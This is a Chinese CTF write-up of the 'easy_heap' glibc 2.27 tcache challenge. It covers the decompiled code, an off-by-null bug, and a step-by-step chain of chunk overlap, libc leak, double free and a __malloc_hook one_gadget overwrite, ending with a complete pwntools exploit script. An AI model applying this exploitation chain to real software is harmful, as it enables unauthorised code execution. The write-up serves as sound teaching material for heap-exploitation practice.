题目链接:https://github.com/zszcr/ctfrepo/tree/master/tcache/easy_heap
这是前面tcache attack的一道例题,关于利用手法看以前的文章文章。
这道题是目前为止我从学习堆利用以来综合性比较强的一道题,虽然做完了,但是仍有一些(会在文章中写出),希望有大师傅能指点一下。
保护检查:
防护全开,那么以我现在掌握的方法来说就应该是利用fake_chunk挂hook了,下面来看一下源码:
静态分析:
main()函数:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_A3A();
qword_202050 = (__int64)calloc(0xA0uLL, 1uLL);
if ( !qword_202050 )
{
puts("init error!");
sub_BBF();
}
while ( 1 )
{
while ( 1 )
{
sub_B38();
v3 = sub_CAD();
if ( v3 != 2 )
break;
free__();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
show__();
}
else if ( v3 == 4 )
{
sub_BBF();
}
}
else if ( v3 == 1 )
{
create__();
}
}
}
看这个函数的结构和流程应该也是一菜单题(部分函数名称我已经重命名过了),其中可以找到一个函数 sub_B38() 进去看一下:
unsigned __int64 sub_B38()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("------------------------");
puts("1: malloc. ");
puts("2: free. ");
puts("3: puts. ");
puts("4: exit. ");
puts("------------------------");
printf("which command?\n> ");
return __readfsqword(0x28u) ^ v1;
}
果不其然是一道菜单题,有创建释放和显示功能,没有编辑功能。之后在观察一下main()函数的开头,发现了一个calloc空间的操作:
qword_202050 = (__int64)calloc(0xA0uLL, 1uLL);
申请了一个0xa0大小的chunk放在了0x202050的位置上,这个记一下,后面调试的时候有用。
create()函数:
unsigned __int64 sub_CFC()
{
__int64 v0; // rbx
int i; // [rsp+0h] [rbp-20h]
unsigned int v3; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && *(_QWORD *)(16LL * i + qword_202050); ++i )
;
if ( i == 10 )
{
puts("full!");
}
else
{
v0 = qword_202050;
*(_QWORD *)(v0 + 16LL * i) = malloc(0xF8uLL);
if ( !*(_QWORD *)(16LL * i + qword_202050) )
{
puts("malloc error!");
sub_BBF();
}
printf("size \n> ");
v3 = sub_CAD();
if ( v3 > 0xF8 )
sub_BBF();
*(_DWORD *)(16LL * i + qword_202050 + 8) = v3;
printf("content \n> ");
sub_BEC(*(_QWORD *)(16LL * i + qword_202050), *(unsigned int *)(16LL * i + qword_202050 + 8));
}
return __readfsqword(0x28u) ^ v4;
}
这是程序申请堆块并向其中写入内容的函数,开头可以看见一个for循环了10次,并且前面提到的那个偏移为0x202050的地址又出现了,可以推测这个地址上装着的是指向后续分配堆块的指针和其堆块的大小。
注意函数流程可以发现每一个堆块的大小都是0xf8,输入的内容多少是可以自己决定的,但是最大不超过堆块0xf8的大小。
其他的都是正常的输入创建流程,接下来在程序后面的位置上可以发现这句代码:
sub_BEC(*(_QWORD *)(16LL * i + qword_202050), *(unsigned int *)(16LL * i + qword_202050 + 8));
这里应该就是输入内容的部分了,进去看一下;
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
signed int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == 10 )
break;
++v3;
}
a1[v3] = 0;
a1[a2] = 0; // off_by_null
}
else
{
*a1 = 0;
}
return __readfsqword(0x28u) ^ v4;
}
这里就可以发现一个漏洞了,a1[a2] = 0;这句代码是在a1(也就是输入内容的堆块)的a2位置上插入一个\x00(空字符),然后由于脚标是从0开始的,在a2位置插入空字符就会导致off_by_null,并且,这个off_by_null是只要有输入内容就会触发,并不需要像以前文章写的那道题需要填满堆块才能触发。
free()函数:
unsigned __int64 free__()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index \n> ");
v1 = sub_CAD();
if ( v1 > 9 || !*(_QWORD *)(16LL * v1 + qword_202050) )
sub_BBF();
memset(*(void **)(16LL * v1 + qword_202050), 0, *(unsigned int *)(16LL * v1 + qword_202050 + 8));
free(*(void **)(16LL * v1 + qword_202050));
*(_DWORD *)(16LL * v1 + qword_202050 + 8) = 0;
*(_QWORD *)(16LL * v1 + qword_202050) = 0LL;
return __readfsqword(0x28u) ^ v2;
}
正常的释放堆块的流程,不仅将堆块释放,并且在释放前还将堆块内容置空,还将指向堆块的指针也置空了,没有明显的可利用的点,属于是严防死守了。
show()函数:
unsigned __int64 sub_F4E()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index \n> ");
v1 = sub_CAD();
if ( v1 > 9 || !*(_QWORD *)(16LL * v1 + qword_202050) )
sub_BBF();
puts(*(const char **)(16LL * v1 + qword_202050));
return __readfsqword(0x28u) ^ v2;
}
一个简单的打印功能,在创建堆块输入内容大小是多少这里就显示多少,也没有明显的可利用的地方。
构想一下思路:
这道题在静态分析阶段只找到了一个off_by_null漏洞,所以结合以前做题的经验大概能总结出这么一个思路:
- 利用off_by_null修改chunk的prev_size_inuse位,完成chunk_overlapping
- 通过chunkoverlapping泄露unsortedbin的地址或者某个堆的地址
- 通过泄露出来的unsortedbin地址或者堆地址来找libc基址或者堆的基地址
- 通过libc基址来找fake_chunk挂hook或者结合堆的基地址进行orw
- 如果使用的是fake_chunk那么就找one_gadget来get shell
后面检查可以发现这道题是没有开启沙盒防护的,所以应该是挂fake_chunk的利用方式。而由于这道题的glibc版本是2.27,有tcache机制,所以在第一步chunk_overlapping上就有点麻烦。
设计prev_size:
由于这道题有tcache机制且大小均为0xf8,所以不是fastbin上的overlapping,应该是unsortedbin上的overlapping,而想要在unsortedbin上完成地址泄露就需要向后extend,所以需要修改prev_size。最开始我做题的时候看见这道题的堆块大小都是0xf8,且输入内容大小可以自己决定,我就想着能不能用堆块间的空间复用(因为大小都是0xf8,物理相邻的堆块间会出现上一个的堆块的data段有一个地址位宽的长度在下一个堆块的chunk_header的prev_size位上)直接伪造一个prev_size,但是不知道为什么,直接再后面添一个0x200之类的数字的话是写不进去的,在输入之后我的p64(0x200)直接被抹掉了,这也是我的第一个疑问,希望有大师傅解答一下😭
那么上面说到的这种直接伪造的方式不行,我们就要利用一下unsortedbin中的chunk在释放进来的时候会自己产生一个prev_size值的这个机制了。直接这样说可能会有点懵,下面我们仔细的来想一下:
首先我们知道这个程序统一创建的0xf8大小的堆块再释放后会进入unsortedbin,然后我们如果再释放一个chunk,那么这个chunk在被释放后会被并入到unsortedbin当中(当然是在物理相邻的情况下),之后它的prev_size位上就会自动出现一个0x100,这数值就是前面被释放的那个堆块的大小。
那么根据这个原理,我们至少需要三个chunk来完成这次prev_size的设计。
第一次与tcache交互
前面我们的需求和手法都已经明了了,就剩下怎么具体实现了。
首先我们知道在有tcache的情况下要程序释放的堆块会被首先放进tcache里面,直到tcache对应链表满了之后才能是放进unsortedbin当中,那么我们首先就需要创建七个堆块并将他们释放进tcache里面:
for i in range(10):
create(0x10,"yms")
for i in range(6):
free(i)
free(9)
在我的exp中我是先创建全部的十个堆块(因为tcache和unsortedbin总共需要10个,这道题也只允许我们创建10个),然后循环释放前六个堆块,最后一个堆块单独释放进tcache,这样做的原因是防止后面释放unsortedbin_chunk的时候与top chunk合并。
观察一下完成操作后的tcache:
tcache里面有七个chunk,已满,符合预期。然后来释放unsortedbin_chunk,也就是剩下的脚标为6,7,8的chunk:
for i in range(6,9):
free(i)
看一下完成操作后的unsortedbin:
好了,到这里回忆一一下我们这样操作是为了干什么,是为了改prev_size位。
其实到这里prev_size位已经改好了,我们可以看一下chunk8中的内容:
可以看见这里已经出现了我们想要的prev_size位。
第二次与tcache交互:
前面我们已经完成了对prev_size位的修改,为接下来的chunk_extend做好了铺垫。之后我们要干的事情就是通过off_by_null触发chunk_extend。
在这之前,我们要注意我们需要进行chunk_extend操作的堆块是在unsortedbin中的,而由于tcache机制程序会首先从tcache里面分配对应大小的chunk,当tcache为空时才会在unsortedbin中分配,所以我们应该先清空前面被我们填满的tcache,并将处于unsortedbin中的三个目标堆块再次申请回来准备进行chunk_extend:
for i in range(7):
create(0x10,"yms")
create(0x10,"aaaa")
create(0x10,"bbbb")
create(0x10,"cccc")
看一下效果:
现在已经所有前提条件已经准备就绪了,就开始进行chunk_extend的操作吧。
第三次与tcache交互:
还是那个原理,要先填满tcache才能进入unsortedbin中进行操作,并且由于我们要触发off_by_null来覆盖物理相邻的下一个chunk的prev_size_inuse位,所以需要有一个位于中间的chunk进行一次**“进去又出来”**的操作。这里进行这个操作的chunk理所应当的是我们三个目标chunk中的chunk8,这里选择chunk8有以下几个原因:
- 在后面已经完成prev_size修改的chunk9中触发off_by_null
- 防止后面释放chunk7时被top chunk合并
- 填满tcache,是后面在释放chunk7时chunk7终会有unsortedbin的地址
for i in range(6):
free(i)
free(8)
free(7)
create(0xf8,"yms1")
之后由于我们要完成chunk_extend,所以必须要将tcache填满,而由于chunk8是“进去又出来”,所以此时tcache是不满的,而我们的目标三chunk是不能动的,所以就需要将前面剩下的那个无关紧要的chunk6放进tcache里面,这里可能会有点疑问为什么是chunk6,其实文章看到这里可能已经有点头晕了,这里有一个办法配合前面的步骤使用可以迅速理清思路:
还记得前面我们说过有一个0x202050偏移的地址存放指向堆块的指针吗,其实这个数组面就是这道题的路标,那么要怎么找到这个“路标”呢:
首先vmmap命令找到此次程序运行的基址:
然后加上这个偏移就可以找到存放堆块指针的数组了:
也就是红框标记起来的那个指针:
这就是存放堆块指针的数组,前面是指针后面是内容的大小
现在回到正题,我们已经触发了off_by_null,并将unsortedbin的地址写进了chunk7,现在我们只需要填满tcache并释放chunk9就可以触发chunk_extend泄露unsortedbin的地址了:
for i in range(6):
free(i)
free(8)
free(7)
create(0xf8,"yms1")
free(6)
free(9)
看一下效果:
这样我们就完成了chunk_extend了,之后我们只要再在unsortedbin中申请一个chunk,unsortedbin就会被写入chunk8,而由于chunk8已经被再次启用,我们就可以通过show()函数功能获得unsortedbin的地址了。
因为我们要在unsortedbin中申请一个chunk,所以又要将tcache清空:
for i in range(7):
create(0x10,"yms")
create(0x10,"yms2")
show(0)
unsortedbin_addr = u64(io.recvuntil("\n")[:-1].ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 96
libc_base = unsortedbin_addr - 0x3ebca0
print(hex(main_arena))
print(hex(libc_base))
这样我们就完成了对unsortedbin地址的泄露:
double free在tcache中构造循环链表:
这一步的操作其实已经与前面的fastbin attack差不多了,主要讲一下这个double free是怎么触发的:
回到create()函数中看一下:
for ( i = 0; i <= 9 && *(_QWORD *)(16LL * i + qword_202050); ++i )
;
这里可以发现再申请新堆块的时候,堆块在数组中的序号是按照“哪里有空就去哪里”的逻辑分配的,而chunk8在进行“进去又出来”的操作时,其实它在数组中的位置就在脚标为0的位置上,后面在我们完成chunke_extend之后,由于chunk8又被挂进了unsortedbin中,所以当我们再次申请chunk时,就会将chunk8当做空闲chunk在申请出来一次,所以在数组中总共就有两个指向chunk8的指针,这样就可以完成double free了。
这里还要注意一点,tcache是要对对tc_idx进行检查的,所以要先释放两个chunk进tcache把它的tc_idx的数值垫高点,后面才能正常启用fake_chunk。
挂fake_chunk,写one_gadget:
在前面完成double free以后,这些就是正常的套路了,这里也不过多阐述,本题我是用的malloc_hook作为fake_chunk,你也可以选择free_hook作为fake_chunk,看你的习惯。
EXP:
from pwn import *
context.log_level = 'debug'
io = process("./easy_heap")
elf = ELF("./easy_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
fake_chunk = 0x33
def create(size,content):
io.recvuntil("> ")
io.sendline(b'1')
io.recvuntil("> ")
io.sendline(str(size))
io.recvuntil("> ")
io.sendline(content)
def show(index):
io.recvuntil("> ")
io.sendline(b'3')
io.recvuntil("> ")
io.sendline(str(index))
def free(index):
io.recvuntil("> ")
io.sendline(b'2')
io.recvuntil("> ")
io.sendline(str(index))
for i in range(10):
create(0x10,"yms")
for i in range(6):
free(i)
free(9)
for i in range(6,9):
free(i)
for i in range(7):
create(0x10,"yms")
create(0x10,"aaaa")
create(0x10,"bbbb")
create(0x10,"cccc")
for i in range(6):
free(i)
free(8)
free(7)
create(0xf8,"yms1")
free(6)
free(9)
for i in range(7):
create(0x10,"yms")
create(0x10,"yms2")
show(0)
unsortedbin_addr = u64(io.recvuntil("\n")[:-1].ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 96
libc_base = unsortedbin_addr - 0x3ebca0
print(hex(main_arena))
print(hex(libc_base))
payload1 = p64(main_arena - fake_chunk)
create(0x10,"yms3")
free(1)
free(2)
free(0)
free(9)
create(0x10,payload1)
payload2 = b'a'*0x23 + p64(libc_base + 0x10a2fc)
create(0x10,"yms4")
create(0xf0,payload2)
create(0x10,"yms5")
io.interactive()
运行截图:
tips:
这里还有一个疑问请教各位大师傅:为什么这道题如果用开头的三个chunk(chunk1,chunk2,chunk3)来进行chunk_extend的话会失败呢?